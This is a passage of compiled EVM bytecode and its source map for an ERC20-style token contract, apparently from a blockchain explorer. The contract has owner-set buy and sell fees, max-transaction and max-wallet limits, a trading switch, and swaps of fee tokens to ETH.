f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f6906131cb565b60405180910390fd5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118aa5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119005750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119a35760165481111561194a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194190613237565b60405180910390fd5b6015548161195784610cdb565b6119619190612b53565b11156119a2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611999906132a3565b60405180910390fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a4e5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611aa45750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b0257601554611ab583610cdb565b82611ac09190612b53565b1115611b01576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af890613335565b60405180910390fd5b5b6000611b0d30610cdb565b9050601360159054906101000a900460ff16158015611b7a5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b925750601360169054906101000a900460ff165b8015611b9e5750600081115b15611bc657611bac81611d3d565b60004790506000811115611bc457611bc347611fb6565b5b505b611c73848484600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c6d5750600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612022565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6001601360156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d7557611d74613355565b5b604051908082528060200260200182016040528015611da35781602001602082028036833780820191505090505b5090503081600081518110611dbb57611dba613384565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611e62573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e8691906133c8565b81600181518110611e9a57611e99613384565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f0130601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113d3565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f659594939291906134f8565b600060405180830381600087803b158015611f7f57600080fd5b505af1158015611f93573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561201e573d6000803e3d6000fd5b5050565b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546120719190612ab3565b925050819055506000816120855782612091565b612090858585612155565b5b905080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546120e29190612b53565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612146919061283b565b60405180910390a35050505050565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121b657506000600954115b1561225957601160009054906101000a900461ffff1661ffff16600654836121de9190612d27565b6121e89190613581565b600e81905550601160009054906101000a900461ffff1661ffff16600754836122119190612d27565b61221b9190613581565b600f81905550601160009054906101000a900461ffff1661ffff16600854836122449190612d27565b61224e9190613581565b601081905550612358565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156122b857506000600d54115b1561235757601160009054906101000a900461ffff1661ffff16600a54836122e09190612d27565b6122ea9190613581565b600e81905550601160009054906101000a900461ffff1661ffff16600b54836123139190612d27565b61231d9190613581565b600f81905550601160009054906101000a900461ffff1661ffff16600c54836123469190612d27565b6123509190613581565b6010819055505b5b600e5460016000601160029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546123cb9190612b53565b92505081905550601160029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600e54604051612453919061283b565b60405180910390a3600f546001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546124ae9190612b53565b92505081905550600f546014546124c59190612ab3565b6014819055506124d36108c8565b60148190555061dead73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600f5460405161253a919061283b565b60405180910390a3601054600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546125939190612b53565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6010546040516125f9919061283b565b60405180910390a36000601054600f54600e546126169190612b53565b6126209190612b53565b9050808361262e9190612ab3565b9150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061266382612638565b9050919050565b61267381612658565b82525050565b600060208201905061268e600083018461266a565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156126ce5780820151818401526020810190506126b3565b838111156126dd576000848401525b50505050565b6000601f19601f8301169050919050565b60006126ff82612694565b612709818561269f565b93506127198185602086016126b0565b612722816126e3565b840191505092915050565b6000602082019050818103600083015261274781846126f4565b905092915050565b600080fd5b61275d81612658565b811461276857600080fd5b50565b60008135905061277a81612754565b92915050565b6000819050919050565b61279381612780565b811461279e57600080fd5b50565b6000813590506127b08161278a565b92915050565b600080604083850312156127cd576127cc61274f565b5b60006127db8582860161276b565b92505060206127ec858286016127a1565b9150509250929050565b60008115159050919050565b61280b816127f6565b82525050565b60006020820190506128266000830184612802565b92915050565b61283581612780565b82525050565b6000602082019050612850600083018461282c565b92915050565b600061ffff82169050919050565b61286d81612856565b82525050565b60006020820190506128886000830184612864565b92915050565b6000806000606084860312156128a7576128a661274f565b5b60006128b58682870161276b565b93505060206128c68682870161276b565b92505060406128d7868287016127a1565b9150509250925092565b600060ff82169050919050565b6128f7816128e1565b82525050565b600060208201905061291260008301846128ee565b92915050565b60006020828403121561292e5761292d61274f565b5b600061293c8482850161276b565b91505092915050565b6000806040838503121561295c5761295b61274f565b5b600061296a8582860161276b565b925050602061297b8582860161276b565b9150509250929050565b60006020828403121561299b5761299a61274f565b5b60006129a9848285016127a1565b91505092915050565b600080604083850312156129c9576129c861274f565b5b60006129d7858286016127a1565b92505060206129e8858286016127a1565b9150509250929050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000612a4e60288361269f565b9150612a59826129f2565b604082019050919050565b60006020820190508181036000830152612a7d81612a41565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612abe82612780565b9150612ac983612780565b925082821015612adc57612adb612a84565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612b1d60208361269f565b9150612b2882612ae7565b602082019050919050565b60006020820190508181036000830152612b4c81612b10565b9050919050565b6000612b5e82612780565b9150612b6983612780565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612b9e57612b9d612a84565b5b828201905092915050565b60008160011c9050919050565b6000808291508390505b6001851115612c0057808604811115612bdc57612bdb612a84565b5b6001851615612beb5780820291505b8081029050612bf985612ba9565b9450612bc0565b94509492505050565b600082612c195760019050612cd5565b81612c275760009050612cd5565b8160018114612c3d5760028114612c4757612c76565b6001915050612cd5565b60ff841115612c5957612c58612a84565b5b8360020a915084821115612c7057612c6f612a84565b5b50612cd5565b5060208310610133831016604e8410600b8410161715612cab5782820a905083811115612ca657612ca5612a84565b5b612cd5565b612cb88484846001612bb6565b92509050818404811115612ccf57612cce612a84565b5b81810290505b9392505050565b6000612ce782612780565b9150612cf2836128e1565b9250612d1f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612c09565b905092915050565b6000612d3282612780565b9150612d3d83612780565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612d7657612d75612a84565b5b828202905092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612ddd60268361269f565b9150612de882612d81565b604082019050919050565b60006020820190508181036000830152612e0c81612dd0565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612e6f60248361269f565b9150612e7a82612e13565b604082019050919050565b60006020820190508181036000830152612e9e81612e62565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612f0160228361269f565b9150612f0c82612ea5565b604082019050919050565b60006020820190508181036000830152612f3081612ef4565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612f9360258361269f565b9150612f9e82612f37565b604082019050919050565b60006020820190508181036000830152612fc281612f86565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061302560238361269f565b915061303082612fc9565b604082019050919050565b6000602082019050818103600083015261305481613018565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006130b760298361269f565b91506130c28261305b565b604082019050919050565b600060208201905081810360008301526130e6816130aa565b9050919050565b7f596f752061726520747279696e6720746f207472616e73666572206d6f72652060008201527f7468616e20796f75722062616c616e6365000000000000000000000000000000602082015250565b600061314960318361269f565b9150613154826130ed565b604082019050919050565b600060208201905081810360008301526131788161313c565b9050919050565b7f54726164696e67206e6f7420656e61626c656420796574000000000000000000600082015250565b60006131b560178361269f565b91506131c08261317f565b602082019050919050565b600060208201905081810360008301526131e4816131a8565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b600061322160198361269f565b915061322c826131eb565b602082019050919050565b6000602082019050818103600083015261325081613214565b9050919050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b600061328d601a8361269f565b915061329882613257565b602082019050919050565b600060208201905081810360008301526132bc81613280565b9050919050565b7f526563697069656e742065786365656473206d61782077616c6c65742073697a60008201527f652e000000000000000000000000000000000000000000000000000000000000602082015250565b600061331f60228361269f565b915061332a826132c3565b604082019050919050565b6000602082019050818103600083015261334e81613312565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506133c281612754565b92915050565b6000602082840312156133de576133dd61274f565b5b60006133ec848285016133b3565b91505092915050565b6000819050919050565b6000819050919050565b600061342461341f61341a846133f5565b6133ff565b612780565b9050919050565b61343481613409565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61346f81612658565b82525050565b60006134818383613466565b60208301905092915050565b6000602082019050919050565b60006134a58261343a565b6134af8185613445565b93506134ba83613456565b8060005b838110156134eb5781516134d28882613475565b97506134dd8361348d565b9250506001810190506134be565b5085935050505092915050565b600060a08201905061350d600083018861282c565b61351a602083018761342b565b818103604083015261352c818661349a565b905061353b606083018561266a565b613548608083018461282c565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061358c82612780565b915061359783612780565b9250826135a7576135a6613552565b5b82820490509291505056fea2646970667358221220664bb36ebd5139d77259a2539a6b10180c6d392c9b47acf45ca824d3004e3b2264736f6c634300080f0033
Deployed Bytecode Sourcemap
4050:10600:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5211:73;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7785:69;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8658:138;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7939:78;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8177:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5168:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5128:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8802:416;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8102:69;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13620:126;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14366:233;;;;;;;;;;;;;:::i;:::-;;13383:111;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9563:56;;;;;;;;;;;;;:::i;:::-;;8264:103;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2730:89;;;;;;;;;;;;;:::i;:::-;;4643:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7860:73;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2535:71;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4909:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8023:73;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5043:37;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13754:125;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5291:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8373:144;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4874:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4682:76;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11162:78;;;;;;;;;;;;;:::i;:::-;;5087:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4950:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8523:129;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4609:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13502:110;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14111:136;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13886:217;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4570:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2827:190;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4834:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5211:73;5242:42;5211:73;:::o;7785:69::-;7822:13;7846:5;;;;;;;;;;;;;;;;;7839:12;;7785:69;:::o;8658:138::-;8733:4;8741:39;8750:12;:10;:12::i;:::-;8764:7;8773:6;8741:8;:39::i;:::-;8789:4;8782:11;;8658:138;;;;:::o;7939:78::-;7983:7;8000:15;;7993:22;;7939:78;:::o;8177:81::-;8230:7;8248;;8241:14;;8177:81;:::o;5168:36::-;;;;;;;;;;;;;:::o;5128:33::-;;;;:::o;8802:416::-;8908:4;8925:36;8935:6;8943:9;8954:6;8925:9;:36::i;:::-;8972:24;8999:11;:19;9011:6;8999:19;;;;;;;;;;;;;;;:33;9019:12;:10;:12::i;:::-;8999:33;;;;;;;;;;;;;;;;8972:60;;9071:6;9051:16;:26;;9043:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;9133:57;9142:6;9150:12;:10;:12::i;:::-;9183:6;9164:16;:25;;;;:::i;:::-;9133:8;:57::i;:::-;9208:4;9201:11;;;8802:416;;;;;:::o;8102:69::-;8143:5;4560:1;8152:16;;8102:69;:::o;13620:126::-;2663:12;:10;:12::i;:::-;2652:23;;:7;:5;:7::i;:::-;:23;;;2644:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;13734:4:::1;13694:28;:37;13723:7;13694:37;;;;;;;;;;;;;;;;:44;;;;;;;;;;;;;;;;;;13620:126:::0;:::o;14366:233::-;2663:12;:10;:12::i;:::-;2652:23;;:7;:5;:7::i;:::-;:23;;;2644:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;14454:1:::1;14435:16;:20;;;;14480:1;14466:11;:15;;;;14511:1;14492:16;:20;;;;14571:16;;14557:11;;14538:16;;:30;;;;:::i;:::-;:49;;;;:::i;:::-;14522:13;:65;;;;14366:233::o:0;13383:111::-;2663:12;:10;:12::i;:::-;2652:23;;:7;:5;:7::i;:::-;:23;;;2644:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;13482:4:::1;13452:18;:27;13471:7;13452:27;;;;;;;;;;;;;;;;:34;;;;;;;;;;;;;;;;;;13383:111:::0;:::o;9563:56::-;2663:12;:10;:12::i;:::-;2652:23;;:7;:5;:7::i;:::-;:23;;;2644:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9563:56::o;8264:103::-;8330:7;8348;:16;8356:7;8348:16;;;;;;;;;;;;;;;;8341:23;;8264:103;;;:::o;2730:89::-;2663:12;:10;:12::i;:::-;2652:23;;:7;:5;:7::i;:::-;:23;;;2644:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2793:21:::1;2811:1;2793:9;:21::i;:::-;2730:89::o:0;4643:32::-;;;;:::o;7860:73::-;7903:7;7920:11;;7913:18;;7860:73;:::o;2535:71::-;2581:7;2598:6;;;;;;;;;;;2591:13;;2535:71;:::o;4909:34::-;;;;:::o;8023:73::-;8062:13;8086:7;;;;;;;;;;;;;;;;;8079:14;;8023:73;:::o;5043:37::-;;;;:::o;13754:125::-;2663:12;:10;:12::i;:::-;2652:23;;:7;:5;:7::i;:::-;:23;;;2644:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;13866:5:::1;13826:28;:37;13855:7;13826:37;;;;;;;;;;;;;;;;:45;;;;;;;;;;;;;;;;;;13754:125:::0;:::o;5291:26::-;;;;;;;;;;;;;:::o;8373:144::-;8451:4;8459:42;8469:12;:10;:12::i;:::-;8483:9;8494:6;8459:9;:42::i;:::-;8510:4;8503:11;;8373:144;;;;:::o;4874:28::-;;;;:::o;4682:76::-;;;;:::o;11162:78::-;2663:12;:10;:12::i;:::-;2652:23;;:7;:5;:7::i;:::-;:23;;;2644:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11227:5:::1;;;;;;;;;;;11213:11;;:19;;;;;;;;;;;;;;;;;;11162:78::o:0;5087:32::-;;;;:::o;4950:81::-;;;;:::o;8523:129::-;8604:7;8622:11;:18;8634:5;8622:18;;;;;;;;;;;;;;;:27;8641:7;8622:27;;;;;;;;;;;;;;;;8615:34;;8523:129;;;;:::o;4609:27::-;;;;:::o;13502:110::-;2663:12;:10;:12::i;:::-;2652:23;;:7;:5;:7::i;:::-;:23;;;2644:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;13599:5:::1;13569:18;:27;13588:7;13569:27;;;;;;;;;;;;;;;;:35;;;;;;;;;;;;;;;;;;13502:110:::0;:::o;14111:136::-;2663:12;:10;:12::i;:::-;2652:23;;:7;:5;:7::i;:::-;:23;;;2644:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4560:1:::1;14222:2;:14;;;;:::i;:::-;14205;:31;;;;:::i;:::-;14187:15;:49;;;;14111:136:::0;:::o;13886:217::-;2663:12;:10;:12::i;:::-;2652:23;;:7;:5;:7::i;:::-;:23;;;2644:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4560:1:::1;14021:2;:14;;;;:::i;:::-;14006:12;:29;;;;:::i;:::-;13992:11;:43;;;;4560:1;14081:2;:14;;;;:::i;:::-;14064;:31;;;;:::i;:::-;14046:15;:49;;;;13886:217:::0;;:::o;4570:32::-;;;;:::o;2827:190::-;2663:12;:10;:12::i;:::-;2652:23;;:7;:5;:7::i;:::-;:23;;;2644:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2936:1:::1;2916:22;;:8;:22;;::::0;2908:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;2992:19;3002:8;2992:9;:19::i;:::-;2827:190:::0;:::o;4834:33::-;;;;:::o;2136:82::-;2189:7;2206:10;2199:17;;2136:82;:::o;9226:331::-;9336:1;9319:19;;:5;:19;;;9311:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9417:1;9398:21;;:7;:21;;;9390:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9499:6;9469:11;:18;9481:5;9469:18;;;;;;;;;;;;;;;:27;9488:7;9469:27;;;;;;;;;;;;;;;:36;;;;9537:7;9521:32;;9530:5;9521:32;;;9546:6;9521:32;;;;;;:::i;:::-;;;;;;;;9226:331;;;:::o;9625:1531::-;9729:1;9713:18;;:4;:18;;;9705:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9806:1;9792:16;;:2;:16;;;9784:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;9876:1;9867:6;:10;9859:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;9952:15;9962:4;9952:9;:15::i;:::-;9942:6;:25;;9934:86;;;;;;;;;;;;:::i;:::-;;;;;;;;;10043:11;;;;;;;;;;;:39;;;;10058:18;:24;10077:4;10058:24;;;;;;;;;;;;;;;;;;;;;;;;;10043:39;:65;;;;10086:18;:22;10105:2;10086:22;;;;;;;;;;;;;;;;;;;;;;;;;10043:65;10035:101;;;;;;;;;;;;:::i;:::-;;;;;;;;;10159:13;;;;;;;;;;;10151:21;;:4;:21;;;:55;;;;;10190:15;;;;;;;;;;;10176:30;;:2;:30;;;;10151:55;:83;;;;;10212:18;:22;10231:2;10212:22;;;;;;;;;;;;;;;;;;;;;;;;;10210:24;10151:83;10147:271;;;10273:11;;10263:6;:21;;10255:59;;;;;;;;;;;;:::i;:::-;;;;;;;;;10367:15;;10357:6;10341:13;10351:2;10341:9;:13::i;:::-;:22;;;;:::i;:::-;:41;;10333:80;;;;;;;;;;;;:::i;:::-;;;;;;;;;10147:271;10440:13;;;;;;;;;;;10432:21;;:4;:21;;;:55;;;;;10471:15;;;;;;;;;;;10457:30;;:2;:30;;;;10432:55;:93;;;;;10493:28;:32;10522:2;10493:32;;;;;;;;;;;;;;;;;;;;;;;;;10491:34;10432:93;10428:224;;;10593:15;;10576:13;10586:2;10576:9;:13::i;:::-;10567:6;:22;;;;:::i;:::-;:41;;10559:88;;;;;;;;;;;;:::i;:::-;;;;;;;;;10428:224;10662:28;10693:24;10711:4;10693:9;:24::i;:::-;10662:55;;10737:6;;;;;;;;;;;10736:7;:32;;;;;10755:13;;;;;;;;;;;10747:21;;:4;:21;;;;10736:32;:47;;;;;10772:11;;;;;;;;;;;10736:47;:73;;;;;10808:1;10787:20;:22;10736:73;10732:319;;;10830:38;10847:20;10830:16;:38::i;:::-;10887:26;10916:21;10887:50;;10980:1;10959:18;:22;10956:91;;;11006:35;11019:21;11006:12;:35::i;:::-;10956:91;10811:240;10732:319;11061:87;11076:4;11082:2;11086:6;11096:18;:24;11115:4;11096:24;;;;;;;;;;;;;;;;;;;;;;;;;:50;;;;11124:18;:22;11143:2;11124:22;;;;;;;;;;;;;;;;;;;;;;;;;11096:50;11094:53;11061:14;:87::i;:::-;9694:1462;9625:1531;;;:::o;3023:169::-;3079:16;3098:6;;;;;;;;;;;3079:25;;3124:8;3115:6;;:17;;;;;;;;;;;;;;;;;;3179:8;3148:40;;3169:8;3148:40;;;;;;;;;;;;3068:124;3023:169;:::o;11246:487::-;5840:4;5831:6;;:13;;;;;;;;;;;;;;;;;;11324:21:::1;11362:1;11348:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11324:40;;11393:4;11375;11380:1;11375:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;11419:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11409:4;11414:1;11409:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;11452:62;11469:4;11484:15;;;;;;;;;;;11502:11;11452:8;:62::i;:::-;11525:15;;;;;;;;;;;:66;;;11606:11;11632:1;11648:4;11675;11695:15;11525:196;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;11313:420;5876:5:::0;5867:6;;:14;;;;;;;;;;;;;;;;;;11246:487;:::o;14255:102::-;14312:16;;;;;;;;;;;:25;;:33;14338:6;14312:33;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14255:102;:::o;11745:344::-;11872:6;11853:7;:15;11861:6;11853:15;;;;;;;;;;;;;;;;:25;;;;;;;:::i;:::-;;;;;;;;11889:22;11915:7;11914:57;;11965:6;11914:57;;;11926:36;11936:6;11944:9;11955:6;11926:9;:36::i;:::-;11914:57;11889:82;;12004:14;11982:7;:18;11990:9;11982:18;;;;;;;;;;;;;;;;:36;;;;;;;:::i;:::-;;;;;;;;12051:9;12034:43;;12043:6;12034:43;;;12062:14;12034:43;;;;;;:::i;:::-;;;;;;;;11842:247;11745:344;;;;:::o;12097:1278::-;12176:7;12207:13;;;;;;;;;;;12199:21;;:4;:21;;;:41;;;;;12239:1;12224:12;;:16;12199:41;12196:615;;;12311:16;;;;;;;;;;;12284:43;;12293:15;;12284:6;:24;;;;:::i;:::-;:43;;;;:::i;:::-;12259:22;:68;;;;12384:16;;;;;;;;;;;12362:38;;12371:10;;12362:6;:19;;;;:::i;:::-;:38;;;;:::i;:::-;12342:17;:58;;;;12472:16;;;;;;;;;;;12445:43;;12454:15;;12445:6;:24;;;;:::i;:::-;:43;;;;:::i;:::-;12424:18;:64;;;;12196:615;;;12524:13;;;;;;;;;;;12518:19;;:2;:19;;;:41;;;;;12558:1;12542:13;;:17;12518:41;12514:297;;;12631:16;;;;;;;;;;;12603:44;;12612:16;;12603:6;:25;;;;:::i;:::-;:44;;;;:::i;:::-;12578:22;:69;;;;12705:16;;;;;;;;;;;12682:39;;12691:11;;12682:6;:20;;;;:::i;:::-;:39;;;;:::i;:::-;12662:17;:59;;;;12785:16;;;;;;;;;;;12757:44;;12766:16;;12757:6;:25;;;;:::i;:::-;:44;;;;:::i;:::-;12736:18;:65;;;;12514:297;12196:615;12845:22;;12821:7;:20;12829:11;;;;;;;;;;;12821:20;;;;;;;;;;;;;;;;:46;;;;;;;:::i;:::-;;;;;;;;12898:11;;;;;;;;;;;12883:51;;12892:4;12883:51;;;12911:22;;12883:51;;;;;;:::i;:::-;;;;;;;;12962:17;;12945:7;:13;5242:42;12945:13;;;;;;;;;;;;;;;;:34;;;;;;;:::i;:::-;;;;;;;;13010:17;;13000:7;;:27;;;;:::i;:::-;12990:7;:37;